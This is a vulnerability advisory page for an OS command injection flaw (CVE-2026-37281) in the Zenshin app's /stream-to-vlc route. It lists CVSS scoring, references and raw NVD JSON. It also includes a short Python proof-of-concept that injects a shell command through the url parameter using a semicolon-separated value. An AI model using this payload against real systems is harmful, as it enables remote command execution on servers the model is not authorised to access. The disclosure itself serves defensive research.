CVE-2026-37281

Description

An OS command injection vulnerability in the /stream-to-vlc Express route in hitarth-gg Zenshin before 2.7.0 allows remote attackers to execute arbitrary commands via the url parameter.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

hitarth-gg Zenshin < 2.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration
target_url = "http://127.0.0.1:3000"
endpoint = "/stream-to-vlc"

# Malicious payload containing command injection
# Using semicolon to separate commands and execute 'id'
payload = "http://safe.com; id"

try:
    # Send malicious request to the vulnerable endpoint
    response = requests.get(f"{target_url}{endpoint}", params={"url": payload})
    
    # Check response status
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Response from server:")
        print(response.text)
    else:
        print(f"[-] Server returned status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-37281
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-37281
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-37281/
[4] VulDB https://vuldb.com/cve/CVE-2026-37281
[5] https://gist.github.com/MitruStefan/cf016709252aabbec7f95b7a70e0cfba
[6] https://github.com/hitarth-gg/zenshin
[7] https://github.com/hitarth-gg/zenshin/commit/7d31c6edfbac978f0ad44c66d761bab9dcd2fa27
[8] https://gist.github.com/MitruStefan/cf016709252aabbec7f95b7a70e0cfba

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-37281", "sourceIdentifier": "[email protected]", "published": "2026-05-19T16:16:21.420", "lastModified": "2026-05-20T17:16:21.467", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An OS command injection vulnerability in the /stream-to-vlc Express route in hitarth-gg Zenshin before 2.7.0 allows remote attackers to execute arbitrary commands via the url parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://gist.github.com/MitruStefan/cf016709252aabbec7f95b7a70e0cfba", "source": "[email protected]"}, {"url": "https://github.com/hitarth-gg/zenshin", "source": "[email protected]"}, {"url": "https://github.com/hitarth-gg/zenshin/commit/7d31c6edfbac978f0ad44c66d761bab9dcd2fa27", "source": "[email protected]"}, {"url": "https://gist.github.com/MitruStefan/cf016709252aabbec7f95b7a70e0cfba", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}